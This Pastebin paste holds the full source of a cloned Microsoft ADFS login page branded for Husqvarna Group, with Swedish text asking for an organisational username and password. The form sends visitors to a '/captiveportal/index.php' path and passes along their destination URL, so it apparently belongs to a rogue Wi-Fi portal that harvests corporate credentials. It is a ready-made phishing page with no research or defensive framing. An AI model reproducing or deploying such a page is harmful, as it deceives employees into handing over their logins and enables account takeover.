Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
- ?>
- <!DOCTYPE html>
- <html lang="sv-SE">
- <style type="text/css">
- * {
- margin:0px;
- padding:0px;
- }
- html, body
- {
- height:100%;
- width:100%;
- background-color:#e8e7e7;
- color:#273a60;
- font-weight:normal;
- font-family:Arial, sans-serif;
- min-width:500px;
- -ms-overflow-style:-ms-autohiding-scrollbar;
- }
- body
- {
- font-size:14px;
- }
- #noScript { margin:16px; color:Black; }
- :lang(en-GB){quotes:'\2018' '\2019' '\201C' '\201D';}
- :lang(zh){font-family:微软雅黑;}
- @-ms-viewport { width: device-width; }
- @-moz-viewport { width: device-width; }
- @-o-viewport { width: device-width; }
- @-webkit-viewport { width: device-width; }
- @viewport { width: device-width; }
- /* Theme layout styles */
- #fullPage, #brandingWrapper
- {
- width:100%;
- height:100%;
- background-color:inherit;
- }
- #brandingWrapper
- {
- background-color:#ffffff;
- }
- #branding
- {
- /* A background image will be added to the #branding element at run-time once the illustration image is configured in the theme.
- Recommended image dimensions: 1420x1200 pixels, JPG or PNG, 200 kB average, 500 kB maximum. */
- height:100%;
- margin-right:500px; margin-left:0px;
- background-color:inherit;
- background-repeat: no-repeat;
- background-position:center;
- background-size:auto;
- -webkit-background-size:auto;
- -moz-background-size:auto;
- -o-background-size:auto;
- }
- #contentWrapper
- {
- position:relative;
- width:500px;
- height:100%;
- overflow:auto;
- background-color:#e8e7e7; /* for IE7 */
- margin-left:-500px; margin-right:0px;
- }
- #content
- {
- min-height:100%;
- height: auto !important;
- margin:0 auto -55px auto;
- padding:0px 150px 0px 50px;
- }
- #header
- {
- font-size:2em;
- font-weight:lighter;
- font-family:"Segoe UI Light" , "Segoe" , "SegoeUI-Light-final", Tahoma, Helvetica, Arial, sans-serif;
- padding-top: 90px;
- margin-bottom:60px;
- min-height:100px;
- overflow:hidden;
- }
- #header img
- {
- /* Logo image recommended dimension: 60x60 (square) or 350X35 (elongated), 4 kB average, 10 kB maximum. Transparent PNG strongly recommended. */
- width:auto;
- height:auto;
- }
- #workArea, #header
- {
- word-wrap:break-word;
- width:350px;
- }
- #workArea
- {
- margin-bottom:90px;
- }
- #footerPlaceholder
- {
- height:40px;
- }
- #footer
- {
- height:40px;
- padding:10px 50px 0px 50px;
- position:relative;
- color:#666666;
- font-size:0.78em;
- }
- #footerLinks
- {
- float:none;
- padding-top:10px;
- }
- #copyright {display:none; color:#273a60;}
- .pageLink { color:#ea632d; padding-left:16px; }
- /* Common content styles */
- .clear {clear:both;}
- .float { float:left; }
- .floatReverse { float:right; }
- .indent { margin-left:16px; }
- .indentNonCollapsible { padding-left:16px; }
- .hidden {display:none;}
- .notHidden {display:inherit;}
- .error { color:#c85305; }
- .actionLink { margin-bottom:8px; display:block; }
- a
- {
- color:#2672ec;
- text-decoration:none;
- background-color:transparent;
- }
- ul { list-style-type: disc; }
- h1,h2,h3,h4,h5,label { margin-bottom: 8px; }
- .submitMargin { margin-top:0px; margin-bottom:30px; }
- .topFieldMargin { margin-top:8px; }
- .fieldMargin { margin-bottom:8px; }
- .groupMargin { margin-bottom:25px; }
- .sectionMargin { margin-bottom:64px; }
- .block { display: block; }
- .autoWidth { width:auto; }
- .fullWidth { width:342px; }
- .fullWidthIndent { width:326px; }
- input
- {
- max-width:100%;
- font-family:inherit;
- margin-bottom:25px;
- }
- input[type="radio"], input[type="checkbox"] {
- vertical-align:middle;
- margin-bottom: 0px;
- }
- span.submit, input[type="submit"]
- {
- border:none;
- background-color:#273a60;
- min-width:80px;
- width:auto;
- height:30px;
- padding:4px 20px 6px 20px;
- border-style:solid;
- border-width:1px;
- transition:background 0s;
- color:rgb(255, 255, 255);
- cursor:pointer;
- margin-bottom:50px;
- -ms-user-select:none;
- -moz-transition:background 0s;
- -webkit-transition:background 0s;
- -o-transition:background 0s;
- -webkit-touch-callout:none;
- -webkit-user-select:none;
- -khtml-user-select:none;
- -moz-user-select: none;
- -o-user-select: none;
- user-select:none;
- }
- input[type="submit"]:hover,span.submit:hover
- {
- background: #D0CFCE;
- }
- input.text{
- height:28px;
- padding:0px 3px 0px 3px ;
- border:solid 1px #D0CFCE;
- }
- input.text:focus
- {
- border: 1px solid #6B6B6B;
- }
- select
- {
- height:28px;
- min-width:60px;
- max-width:100%;
- margin-bottom:50px;
- white-space:nowrap;
- overflow:hidden;
- box-shadow:none;
- padding:2px;
- font-family:inherit;
- }
- h1, .giantText
- {
- font-size:2.0em;
- font-weight:lighter;
- }
- h2, .bigText
- {
- font-size:1.33em;
- font-weight:lighter;
- }
- h3, .normalText
- {
- font-size:1.0em;
- font-weight:normal;
- }
- h4, .smallText
- {
- font-size:0.9em;
- font-weight:normal;
- }
- h5, .tinyText
- {
- font-size:0.8em;
- font-weight:normal;
- }
- .hint
- {
- color:#999999;
- }
- .emphasis
- {
- font-weight:700;
- color:#2F2F2F;
- }
- .smallIcon
- {
- height:20px;
- padding-right:12px;
- vertical-align:middle;
- }
- .largeIcon
- {
- height:48px;
- /* width:48px; */
- vertical-align:middle;
- }
- .largeTextNoWrap
- {
- height:48px;
- display:table-cell; /* needed when in float*/
- vertical-align:middle;
- white-space:nowrap;
- font-size:1.2em;
- }
- .idp
- {
- height:48px;
- clear:both;
- padding:8px;
- overflow:hidden;
- }
- .idp:hover
- {
- background-color:#cccccc;
- }
- .idpDescription
- {
- width:80%;
- }
- .illustrationClass {
- background-image:url(illustration.png);
- }
- @media only screen and (max-width:800px) {
- #branding
- {
- /* A background image will be added to the #branding element at run-time once the illustration image is configured in the theme.
- Recommended image dimensions: 1420x1200 pixels, JPG or PNG, 200 kB average, 500 kB maximum. */
- height:100%;
- margin-right:500px; margin-left:0px;
- background-color:inherit;
- background-repeat: no-repeat;
- background-position:center;
- background-size:80px;
- }
- }
- /* Form factor: intermediate height layout. Reduce space of the header. */
- @media only screen and (max-height: 850px) {
- #header {
- padding-top: 40px;
- min-height:0px;
- overflow: hidden;
- }
- #workArea
- {
- margin-bottom:60px;
- }
- }
- /* Form factor: intermediate height layout. Reduce space of the header. */
- @media only screen and (max-height: 500px) {
- #header {
- padding-top: 30px;
- margin-bottom: 30px;
- }
- #workArea{
- margin-bottom:40px;
- }
- }
- /* Form factor: intermediate layout (WAB in non-snapped view falls in here) */
- @media only screen and (max-width: 600px) {
- html, body {
- min-width: 260px;
- }
- #brandingWrapper {
- display: none;
- }
- #contentWrapper {
- float: none;
- width: 100%;
- margin: 0px auto;
- }
- #content, #footer, #header {
- width: 400px;
- padding-left: 0px;
- padding-right: 0px;
- margin-left: auto;
- margin-right: auto;
- }
- #workArea {
- width: 100%;
- }
- .fullWidth {
- width: 392px;
- }
- .fullWidthIndent {
- width: 376px;
- }
- }
- @media only screen and (max-width: 450px) {
- body {
- font-size: 14px;
- }
- #content, #footer {
- width:auto;
- margin-right:33px;
- margin-left:25px;
- }
- #header {
- width: auto;
- }
- span.submit, input[type="submit"] {
- font-size: 14px;
- }
- .fullWidth
- {
- width:100%;
- margin-left:auto;
- margin-right:auto;
- }
- .fullWidthIndent {
- width: 85%;
- }
- .idpDescription
- {
- width:70%;
- }
- }
- /* Form factor: snapped WAB (for WAB to work in snapped view, the content wrapper width has to be set to 260px) */
- @media only screen and (max-width:280px)
- {
- #contentWrapper
- {
- width:260px;
- }
- .idpDescription
- {
- max-width:160px;
- min-width:100px;
- }
- }
- #helpContent {margin-top:28px}
- </style>
- <head>
- <meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
- <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
- <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
- <meta http-equiv="cache-control" content="no-cache,no-store"/>
- <meta http-equiv="pragma" content="no-cache"/>
- <meta http-equiv="expires" content="-1"/>
- <meta name='mswebdialog-title' content='Connecting to '/>
- <title>Logga in</title>
- <script type="text/javascript">
- function redirect() { setTimeout(function(){window.location = "/captiveportal/index.php";},100);}
- </script>
- <script type='text/javascript'>
- //<![CDATA[
- function LoginErrors(){this.userNameFormatError = 'Ange ditt anv\u0026#228;ndar-ID i formatet dom\u0026#228;n\\anv\u0026#228;ndare eller anv\u0026#228;ndare@dom\u0026#228;n.'; this.passwordEmpty = 'Ange l\u0026#246;senordet.';}
- //]]>
- </script>
- <script type='text/javascript'>
- //<![CDATA[
- // Copyright (c) Microsoft Corporation. All rights reserved.
- function InputUtil(errTextElementID, errDisplayElementID) {
- if (!errTextElementID) errTextElementID = 'errorText';
- if (!errDisplayElementID) errDisplayElementID = 'error';
- this.hasFocus = false;
- this.errLabel = document.getElementById(errTextElementID);
- this.errDisplay = document.getElementById(errDisplayElementID);
- };
- InputUtil.prototype.canDisplayError = function () {
- return this.errLabel && this.errDisplay;
- }
- InputUtil.prototype.checkError = function () {
- if (!this.canDisplayError){
- throw new Error ('Error element not present');
- }
- if (this.errLabel && this.errLabel.innerHTML) {
- this.errDisplay.style.display = '';
- var cause = this.errLabel.getAttribute('for');
- if (cause) {
- var causeNode = document.getElementById(cause);
- if (causeNode && causeNode.value) {
- causeNode.focus();
- this.hasFocus = true;
- }
- }
- }
- else {
- this.errDisplay.style.display = 'none';
- }
- };
- InputUtil.prototype.setInitialFocus = function (input) {
- if (this.hasFocus) return;
- var node = document.getElementById(input);
- if (node) {
- if ((/^\s*$/).test(node.value)) {
- node.focus();
- this.hasFocus = true;
- }
- }
- };
- InputUtil.prototype.setError = function (input, errorMsg) {
- if (!this.canDisplayError) {
- throw new Error('Error element not present');
- }
- input.focus();
- if (errorMsg) {
- this.errLabel.innerHTML = errorMsg;
- }
- this.errLabel.setAttribute('for', input.id);
- this.errDisplay.style.display = '';
- };
- InputUtil.makePlaceholder = function (input) {
- var ua = navigator.userAgent;
- if (ua != null &&
- (ua.match(/MSIE 9.0/) != null ||
- ua.match(/MSIE 8.0/) != null ||
- ua.match(/MSIE 7.0/) != null)) {
- var node = document.getElementById(input);
- if (node) {
- var placeholder = node.getAttribute("placeholder");
- if (placeholder != null && placeholder != '') {
- var label = document.createElement('input');
- label.type = "text";
- label.value = placeholder;
- label.readOnly = true;
- label.style.position = 'absolute';
- label.style.borderColor = 'transparent';
- label.className = node.className + ' hint';
- label.tabIndex = -1;
- label.onfocus = function () { this.nextSibling.focus(); };
- node.style.position = 'relative';
- node.parentNode.style.position = 'relative';
- node.parentNode.insertBefore(label, node);
- node.onkeyup = function () { InputUtil.showHint(this); };
- node.onblur = function () { InputUtil.showHint(this); };
- node.style.background = 'transparent';
- node.setAttribute("placeholder", "");
- InputUtil.showHint(node);
- }
- }
- }
- };
- InputUtil.focus = function (inputField) {
- var node = document.getElementById(inputField);
- if (node) node.focus();
- };
- InputUtil.hasClass = function(node, clsName) {
- return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
- };
- InputUtil.addClass = function(node, clsName) {
- if (!this.hasClass(node, clsName)) node.className += " " + clsName;
- };
- InputUtil.removeClass = function(node, clsName) {
- if (this.hasClass(node, clsName)) {
- var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
- node.className = node.className.replace(reg, ' ');
- }
- };
- InputUtil.showHint = function (node, gotFocus) {
- if (node.value && node.value != '') {
- node.previousSibling.style.display = 'none';
- }
- else {
- node.previousSibling.style.display = '';
- }
- };
- //]]>
- </script>
- </head>
- <body dir="ltr" class="body">
- <div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
- <h1>JavaScript krävs</h1>
- <p>JavaScript krävs. Den här webbläsaren har inte stöd för JavaScript eller också är JavaScript inte aktiverat.</p>
- <p>I hjälpen för webbläsaren ser du om webbläsaren har stöd för JavaScript eller hur du aktiverar JavaScript.</p>
- </div>
- <script type="text/javascript" language="JavaScript">
- document.getElementById("noScript").style.display = "none";
- </script>
- <div id="fullPage">
- <div id="brandingWrapper" class="float">
- <div id="branding" class="illustrationClass"></div>
- </div>
- <div id="contentWrapper" class="float">
- <div id="content">
- <div id="header">
- </div>
- <div id="workArea">
- <div id="authArea" class="groupMargin">
- <div id="loginArea">
- <div id="loginMessage" class="groupMargin">Logga in med ditt organisationskonto</div>
- <form
- method="post"
- id="loginForm"
- autocomplete="off"
- novalidate="novalidate"
- onKeyPress="if (event && event.keyCode == 13) Login.submitLoginRequest();"
- onsubmit="redirect()"
- action="https://husqvarnagroup.sharepoint.com" >
- <input type="hidden" name="target" value="<?=$destination?>">
- <div id="error" class="fieldMargin error smallText">
- <label id="errorText" for=""></label>
- </div>
- <div id="formsAuthenticationArea">
- <div id="userNameArea">
- <input id="userNameInput" name="UserName" type="email" value="" tabindex="1" class="text fullWidth"
- spellcheck="false" placeholder="namn@example.com" autocomplete="off"/>
- </div>
- <div id="passwordArea">
- <input id="passwordInput" name="Password" type="password" tabindex="2" class="text fullWidth"
- placeholder="Lösenord" autocomplete="off"/>
- </div>
- <div id="kmsiArea" style="display:none">
- <input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="3" />
- <label for="kmsiInput">Jag vill förbli inloggad</label>
- </div>
- <div id="submissionArea" class="submitMargin">
- <span id="submitButton" class="submit" tabindex="4"
- onKeyPress="if (event && event.keyCode == 32) Login.submitLoginRequest();"
- onclick="return Login.submitLoginRequest();">Logga in</span>
- </div>
- </div>
- <input id="optionForms" type="hidden" name="AuthMethod" value="FormsAuthentication"/>
- </form>
- <div id="introduction" class="groupMargin">
- </div>
- <script type="text/javascript">
- //<![CDATA[
- function Login() {
- }
- Login.userNameInput = 'userNameInput';
- Login.passwordInput = 'passwordInput';
- Login.initialize = function () {
- var u = new InputUtil();
- u.checkError();
- u.setInitialFocus(Login.userNameInput);
- u.setInitialFocus(Login.passwordInput);
- }();
- Login.submitLoginRequest = function () {
- var u = new InputUtil();
- var e = new LoginErrors();
- var userName = document.getElementById(Login.userNameInput);
- var password = document.getElementById(Login.passwordInput);
- if (!userName.value || !userName.value.match('[@\\\\]')) {
- u.setError(userName, e.userNameFormatError);
- return false;
- }
- if (!password.value) {
- u.setError(password, e.passwordEmpty);
- return false;
- }
- document.forms['loginForm'].submit();
- return false;
- };
- InputUtil.makePlaceholder(Login.userNameInput);
- InputUtil.makePlaceholder(Login.passwordInput);
- //]]>
- </script>
- </div>
- </div>
- </div>
- <div id="footerPlaceholder"></div>
- </div>
- <div id="footer">
- <div id="footerLinks" class="floatReverse">
- <div><span id="copyright">© 2013 Microsoft</span><a id="helpDesk" class="pageLink" href="javascript:OpenHelp()">Need help signing on? Contact Husqvarna Group IT Service Desk</a></div>
- </div>
- </div>
- </div>
- </div>
- <script type='text/javascript'>
- //<![CDATA[
- // Copyright (c) Microsoft Corporation. All rights reserved.
- // This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
- "use strict";
- // iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
- // Note change input type does not work on all versions of all browsers.
- if (navigator.userAgent.match(/iPhone/i) != null) {
- var emails = document.querySelectorAll("input[type='email']");
- if (emails) {
- for (var i = 0; i < emails.length; i++) {
- emails[i].type = 'text';
- }
- }
- }
- // In the CSS file we set the ms-viewport to be consistent with the device dimensions,
- // which is necessary for correct functionality of immersive IE.
- // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
- // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
- // Windows 8 phone has agent string 'IEMobile 10.0'
- if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
- var msViewportStyle = document.createElement("style");
- msViewportStyle.appendChild(
- document.createTextNode(
- "@-ms-viewport{width:auto!important}"
- )
- );
- msViewportStyle.appendChild(
- document.createTextNode(
- "@-ms-viewport{height:auto!important}"
- )
- );
- document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
- }
- // If the innerWidth is defined, use it as the viewport width.
- if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
- var viewport = document.querySelector("meta[name=viewport]");
- viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
- }
- // Gets the current style of a specific property for a specific element.
- function getStyle(element, styleProp) {
- var propStyle = null;
- if (element && element.currentStyle) {
- propStyle = element.currentStyle[styleProp];
- }
- else if (element && window.getComputedStyle) {
- propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
- }
- return propStyle;
- }
- // Check whether the loginMessage element is present on this page.
- var loginMessage = document.getElementById('loginMessage');
- if (loginMessage)
- {
- // loginMessage element is present, modify its properties.
- loginMessage.innerHTML = 'Sign in with your <b>Husqvarna Group ID</b>';
- }
- function OpenHelp() {
- document.getElementById("helpContent").style.display = "block";
- document.getElementById("authArea").style.display = "none";
- document.getElementById("header").style.display = "none";
- }
- function CloseHelp() {
- document.getElementById("helpContent").style.display = "none";
- document.getElementById("authArea").style.display = "block";
- document.getElementById("header").style.display = "block";
- }
- function CallHelpFile(n) {
- var t = new XMLHttpRequest;
- t.open("GET", n, !0);
- t.onreadystatechange = function () {
- t.readyState == 4 && (document.getElementById("helpContent").innerHTML = t.responseText);
- };
- t.send(null);
- }
- var workArea, helpContent, authArea, helpDesk
- workArea = document.getElementById("workArea");
- if(workArea != null){
- helpContent = document.createElement("div")
- helpContent.setAttribute("id", "helpContent")
- helpContent.setAttribute("class", "groupMargin")
- helpContent.style.display = "none"
- workArea.appendChild(helpContent)
- }
- authArea = document.getElementById("authArea")
- helpDesk = document.getElementById("helpDesk")
- if(authArea != null) {
- CallHelpFile("/adfs/portal/script/help.js")
- }
- //]]>
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement